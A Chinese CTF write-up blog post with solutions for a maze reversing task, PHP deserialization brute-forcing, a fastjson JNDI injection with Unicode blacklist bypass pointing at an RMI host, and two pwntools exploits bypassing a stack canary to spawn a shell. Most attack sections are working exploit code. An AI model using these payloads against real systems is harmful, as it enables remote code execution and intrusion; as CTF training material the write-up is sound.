内部赛-2023第三届网络安全攻防大赛个人赛①-线上赛

re

re_ez

ida加载,字符串搜索 flag

good! flag{md5(your input)}\

交叉引用查找到图,继续向上查找。

输入方向比较

.text:00007FF76D3D12E5 mov     rax, [rbp+50h+var_90]
.text:00007FF76D3D12E9 movzx   eax, byte ptr [rax]
.text:00007FF76D3D12EC add     al, 0E0h
.text:00007FF76D3D12EE xor     al, 3
.text:00007FF76D3D12F0 cmp     al, 4
.text:00007FF76D3D12F2 jnb     loc_7FF76D3D13DA

爆破出来 .四个方向

for i in range(256):
    if ((i + 0xe0) & 0xff) ^ 3 < 4:
        print(i, chr(i))

# 32  
# 33 !
# 34 "
# 35 #

这里进内存查看。

.text:00007FF76D3D1315 mov     dword ptr [r15+rbx*4], 1
.text:00007FF76D3D131D cmp     rbx, 3
.text:00007FF76D3D1321 jz      short loc_7FF76D3D1330

转成 dd, 5x5。

.data:00007FF76D3FA000 dd 1, 0, 1, 0, 1     ; DATA XREF: sub_7FF76D3D1130+8A↑o
.data:00007FF76D3FA000 dd 1, 0, 1, 0, 1
.data:00007FF76D3FA000 dd 1, 0, 1, 0, 1
.data:00007FF76D3FA000 dd 1, 0, 0, 0, 1
.data:00007FF76D3FA000 dd 1, 1, 1, 1, 1

不知道哪个是哪个方向。挨个试。

 !"#
"下
 右
!上

按迷宫走,出现good提示。输入值为 """ ### md5后提交flag

Misc

cc1

cyberchef 自动化.

arp-1

直接导出 hw 字段. from hex 即flag

Web

just_serialize

<?php
class Secret
{
    public $filename;

    public function __construct($filename)
    {
        $this->filename = $filename;
    }

    public function __toString()
    {
        $num = count(scandir($this->filename));
        if ($num > 0) {
            return '什么也没有';
        } else {
            return 'flag_';
        }
    }
}

class Read
{
    public $text = '什么东西';

    public function __destruct()
    {
        echo $this->text;
    }
}


//$a = unserialize($_GET['p']);

$tmp = new Secret("D:/phpstudy_pro/WWW/1.php");
$s2 = new Read();
$s2->text = $tmp;

$ser = serialize($s2);
echo "\n";
echo $ser;
echo "\n";
echo "\n";
// O:4:"Read":1:{s:4:"text";O:6:"Secret":1:{s:8:"filename";s:25:"D:/phpstudy_pro/WWW/1.php";}}

反序列化,然后脚本生成,跑payload

import string

import requests

flag = 'flag_'
flag = 'flag_8beedca095892eead9a2045c28be0'

dic = string.digits + string.ascii_letters + '_!-{}.'
while 1:
    for c in dic:
        payload = f'glob://{flag}{c}*'
        l = len(payload)
        url = 'http://eci-2ze4kejqhmyy7o98zkrm.cloudeci1.ichunqiu.com/?p=O:4:"Read":1:{s:4:"text";O:6:"Secret":1:{s:8:"filename";s:%s:"%s";}";' % (
            l, payload)
        print(url)
        res = requests.get(url)
        # print(res.text)
        if res.text[-1] != '_':
            flag += c
            print(c, flag)
            break
    else:
        raise Exception('done')
    ...

print(flag)

ezzjava

fastjson反序列化。

代码里面有个黑名单, Unicode绕过

Pattern p = Pattern.compile("JdbcRowSetImpl|type|dataSourceName|autoCommit|TemplatesImpl|bytecodes|BasicDataSource", 8);
// 看Pattern源码里面 java.util.regex.Pattern#MULTILINE: `public static final int MULTILINE = 0x08;`
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe" -A "192.168.50.161"

用这个payload打,修改一下

{
 "1": {
 "@type": "java.lang.Class", 
 "val": "com.sun.rowset.JdbcRowSetImpl"
 }, 
 "2": {
 "@type": "com.sun.rowset.JdbcRowSetImpl", 
 "dataSourceName": "rmi://192.168.1.13:1099/v4v9uh", 
 "autoCommit": true
 }
}
import com.alibaba.fastjson.JSON;

import java.util.Base64;

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello world!");
        String payload = "{\n" +
                " \"1\": {\n" +
                " \"@\\u0074\\u0079\\u0070\\u0065\": \"java.lang.Class\", \n" +
                " \"val\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"\n" +
                " }, \n" +
                " \"2\": {\n" +
                " \"@\\u0074\\u0079\\u0070\\u0065\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\", \n" +
                " \"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\": \"rmi://192.168.50.161:1099/ytecfe\", \n" +
                " \"\\u0061\\u0075\\u0074\\u006f\\u0043\\u006f\\u006d\\u006d\\u0069\\u0074\": true\n }\n" +
                "}\n";
        System.out.println(Base64.getEncoder().encodeToString(payload.getBytes()));
        JSON.parse(payload);
    }
}
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 697
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

data=ewogIjEiOiB7CiAiQFx1MDA3NFx1MDA3OVx1MDA3MFx1MDA2NSI6ICJqYXZhLmxhbmcuQ2xhc3MiLCAKICJ2YWwiOiAiY29tLnN1bi5yb3dzZXQuXHUwMDRhXHUwMDY0XHUwMDYyXHUwMDYzXHUwMDUyXHUwMDZmXHUwMDc3XHUwMDUzXHUwMDY1XHUwMDc0XHUwMDQ5XHUwMDZkXHUwMDcwXHUwMDZjIgogfSwgCiAiMiI6IHsKICJAXHUwMDc0XHUwMDc5XHUwMDcwXHUwMDY1IjogImNvbS5zdW4ucm93c2V0Llx1MDA0YVx1MDA2NFx1MDA2Mlx1MDA2M1x1MDA1Mlx1MDA2Zlx1MDA3N1x1MDA1M1x1MDA2NVx1MDA3NFx1MDA0OVx1MDA2ZFx1MDA3MFx1MDA2YyIsIAogIlx1MDA2NFx1MDA2MVx1MDA3NFx1MDA2MVx1MDA1M1x1MDA2Zlx1MDA3NVx1MDA3Mlx1MDA2M1x1MDA2NVx1MDA0ZVx1MDA2MVx1MDA2ZFx1MDA2NSI6ICJybWk6Ly8xOTIuMTY4LjUwLjE2MToxMDk5L3l0ZWNmZSIsIAogIlx1MDA2MVx1MDA3NVx1MDA3NFx1MDA2Zlx1MDA0M1x1MDA2Zlx1MDA2ZFx1MDA2ZFx1MDA2OVx1MDA3NCI6IHRydWUKIH0KfQo=

pwn

canary

问了下有几个方式

  1. 栈迁移然后ROP就行了
  2. 劫持rbp把canary写到bss段上 然后就可以泄露出来了
  3. 覆盖got表让canary的check失败

参考链接 _https://mp.weixin.qq.com/s/Bix0Uv0l_QaMWMMomjBkOQ

解法1 栈迁移,泄露 canary

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
# o = remote('101.200.77.68', 27294)
o = process("./canary")
elf = ELF("./canary")
libc = elf.libc
# libc = ELF("./libc-2.31.so")
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = ROP(elf).find_gadget(['pop rsi'])[0]
write_plt = elf.plt["write"]
read_got = elf.got['read']
gift = elf.sym['gift']


def get_canary():
    o.recv()
    o.sendline(b'2')
    payload = flat(0x404f00, 0x401296)  # 0x401296  mov     rax, fs:28h , 0x404f00 是用 vmmap 找的一个可写入地址
    o.send(payload)
    o.recvuntil(b'Do you want to enter other functions?\n')
    o.sendline(b'2')
    payload = flat(0x404f48, 0x4012EA)  # 004012EA lea     rax, [rbp+s]
    o.send(payload)
    canary = u64(o.recv(8))
    success('canary: ' + hex(canary))
    return canary


def get_libc():
    # o.recvuntil(b'Do you want to enter other functions?\n')
    o.sendline(b'1')
    payload = flat('a' * 56, canary, 0, pop_rdi, 1, pop_rsi, read_got, 0, write_plt, gift)
    o.sendline(payload)
    read_addr = u64(o.recvuntil(b'\x7f')[-6:] + b'\x00\x00')
    libc_base = read_addr - libc.sym['read']
    libc.address = libc_base
    success('libc_base: ' + hex(libc_base))


def get_shell():
    system_addr = libc.sym['system']
    bin_sh = next(libc.search(b"/bin/sh"))
    payload = flat('a' * 56, canary, 0, pop_rdi, bin_sh, system_addr, gift)
    o.sendline(payload)


if __name__ == '__main__':
    canary = get_canary()
    get_libc()
    get_shell()
    o.interactive()

解法2 劫持 fail 函数

savdregs的地址,是通过rbp的偏移来计算的

每次函数调用的时候都是通过rbp+xxx来进行调用

那么在

这一部分的时候可以修改我们的rbp指针因此可以实现一个劫持或者说修改的作用,我们首先泄露libc
通过write函数,我们可以打印大小为16的s
那么我们修改S为got表上的内容

payload = p64(elf.got['read'] -4 + 0x50) + p64(0x4012ea)
因为如果rbp变成elf.got['read'] -4 + 0x50
那么相对的s的地址是rbp-0x50,s= elf.got['read'] -4 + 0x50 -0x50 = elf.got['read']
-4
并且由于我们打印的大小为16所以不影响我们的leak
返回的地址0x4012ea刚好是write的起始位置

再举个例子

先看上面 write(1, s, v3) 这里 v3 = strlen("This is canary!") 正常会从s地址输出16个字节。我们一会儿返回0x4012ea这里。跳过v3计算,确保能输出s地址的16个字节。

rbp覆盖为404038(read),      s 为0x403FE8   空值
rbp覆盖为40408c(read+0x54), s 为0x404038+4(read+4) # leak出read 2个字节\00\00(4B) 和 setbuf完整地址(8B) 和 __isoc99_scanf 4个字节(4B)
rbp覆盖为404088(read+0x50), s 为0x404038  (read)   # leak出read 完整地址(8B)和setbuf完整地址(8B)

此时再进入下面的 scanf v5(rbp - 0x54) = read - 4 可以修改 read - 4的值
想改写__stack_chk_fail 即 read - 8 的地址,那么就需要 read - 8 即当前的 read+0x50 再 -4 即可

但这里为什么是elf.got['read'] -4呢,因为我们这题的关键在于不仅仅需要泄露地址我们还需要绕过
canary
所以此时我们需要修改我们检查canary的函数,chk_fail

因此我们这里的话是需要进行计算的,v5和s只差了4
那么当我们的rbp = elf.got['read'] -4 + 0x50时,那么v5 = elf.got['read'] -8刚好对应我们的chk函数
接下来就涉及到了延迟绑定机制

因为此时我们还没有调用过chk那么此时,因此当我们第一次read修改的时候会被认为是进行从绑定,那么后
续但我们进行canary的查看的时候就可以执行我们想要的函数了,我们将他设置为ret
main函数对printf的调用流程如下:
main函数不会直接调用printf函数,而是调用puts@plt。注意,这里编译器会优化对printf的调用为对库
函数puts的调用;
puts@plt的第一条指令通过GOT[3]进行跳转。由于每个GOT表项初始化时都指向对应PLT条目的第二条指
令,因此这个间接跳转会将控制转移到puts@plt的第二条指令继续执行;
puts@plt的第二条指令会将puts的ID压入栈中之后,然后跳转到PLT[0]中的指令;
.plt中指令继续压入全局偏移表表中第二个表项所存放的地址,即本模块ID,最后跳转到动态链接器的入口
_dl_runtime_resolve,执行符号解析;
完成符号解析后,_dl_runtime_resolve会将解析出来的puts函数的地址,填入GOT[3]中,到达这一步
后,对puts函数的符号绑定工作就完成了。

from pwn import *

context.log_level = 'debug'

io = process('./canary')

elf = ELF('./canary')
# libc = ELF('./libc-2.31.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# gdb.attach(io, 'b*0x000401359\n\c')

# pop_rdi_ret = 0x00000000004013e3
# pop_r12_r13_r14_r15_ret = 0x00000000004013dc
ret = 0x000000000040101a

io.sendlineafter('?', '0')

write_1_s_v3 = 0x4012ea
success(hex(elf.got['read']))
payload = p64(elf.got['read'] - 4 + 0x50) + p64(write_1_s_v3)

io.send(payload)

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.info('leak:' + hex(leak))
libc_base = leak - libc.symbols['read']
log.info('libc_base: ' + hex(libc_base))

# ogg = libc_base + 0xe3afe # libc 231
ogg = libc_base + 0x4527a  # libc 223

""" # RBP value at this time
rbp = READ_GOT - 4 + 0x50
v5 = rbp-0x54 = READ_GOT - 8 = view the PLT table, READ_GOT - 8 = __stack_chk_fail, that is, the +8 position of the lead objective function is required to override
"""
io.sendlineafter('?', str(ret)) # Cover __stack_chk_fail@got.plt with ret, the next check failure will ret

gift = elf.sym['gift']
payload = p64(0) + p64(gift)
io.send(payload)

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''
# payload = b'a'*56 + p64(0)*2 + p64(pop_r12_r13_r14_r15_ret) + p64(0)*4 + p64(ogg)
payload = b'a' * 56 + p64(0) * 2 + p64(ogg)
io.send(payload)

io.interactive()
posted @ 2023-06-06 17:01  wgf4242  阅读(583)  评论(0编辑  收藏  举报